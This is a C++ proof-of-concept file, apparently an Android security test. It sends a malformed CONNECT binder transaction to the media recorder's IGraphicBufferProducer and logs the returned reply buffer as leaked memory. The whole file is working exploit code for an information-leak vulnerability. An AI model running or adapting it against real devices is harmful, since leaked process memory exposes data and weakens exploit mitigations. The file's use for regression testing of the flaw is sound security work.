1 /**
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <android/content/AttributionSourceState.h>
18 #include <binder/IServiceManager.h>
19 #include <binder/Parcel.h>
20 #include <fcntl.h>
21 #include <gui/IGraphicBufferProducer.h>
22 #include <media/IMediaPlayer.h>
23 #include <media/IMediaPlayerClient.h>
24 #include <media/IMediaPlayerService.h>
25 #include <media/IMediaRecorder.h>
26 #include <sys/stat.h>
27 #include <sys/time.h>
28
29 using namespace android;
30
main(int argc,char * const argv[])31 int main(__attribute__((unused)) int argc,
32 __attribute__((unused)) char *const argv[]) {
33
34 sp<IServiceManager> sm = defaultServiceManager();
35 sp<IBinder> MeidaPlayerService = sm->checkService(String16("media.player"));
36
37 // get IMediaPlayerService
38 sp<IMediaPlayerService> iMPService =
39 IMediaPlayerService::asInterface(MeidaPlayerService);
40 ALOGI("Get iMPService instance, 0x%08lx\n", (unsigned long)iMPService.get());
41 android::content::AttributionSourceState attributionSource;
42 attributionSource.packageName = "poc";
43
44 sp<IMediaRecorder> recorder = iMPService->createMediaRecorder(attributionSource);
45 ALOGI("Get recorder instance, 0x%08lx\n", (unsigned long)recorder.get());
46
47 const char *fileName = "/sdcard/test";
48 int fd = open(fileName, O_RDWR | O_CREAT, 0744);
49 recorder->setVideoSource(2);
50 recorder->setOutputFile(fd);
51 recorder->setOutputFormat(0);
52 recorder->init();
53 recorder->prepare();
54 recorder->start();
55
56 // get IGraphicBufferProducer
57 sp<IGraphicBufferProducer> iGBP = recorder->querySurfaceMediaSource();
58 ALOGI("Get iGBP instance, 0x%08lx\n", (unsigned long)iGBP.get());
59
60 Parcel data, reply;
61 data.writeInterfaceToken(iGBP->getInterfaceDescriptor());
62 data.writeInt32(-1);
63 IGraphicBufferProducer::asBinder(iGBP)->transact(10 /*CONNECT*/, data,
64 &reply);
65 int len = reply.dataAvail();
66 ALOGI("dataAvail = %d\n", len);
67 unsigned int *leaked_data = (unsigned int *)reply.data();
68 for (int i = 0; i < (len / 4); ++i) {
69 ALOGE("IGraphicBufferProducer_InfoLeak leaked data = 0x%08x",
70 leaked_data[i]);
71
72 if (i < 4 && leaked_data[i] != 0) {
73 ALOGE("IGraphicBufferProducer_Info is Leaked");
74 }
75 }
76 return 0;
77 }
78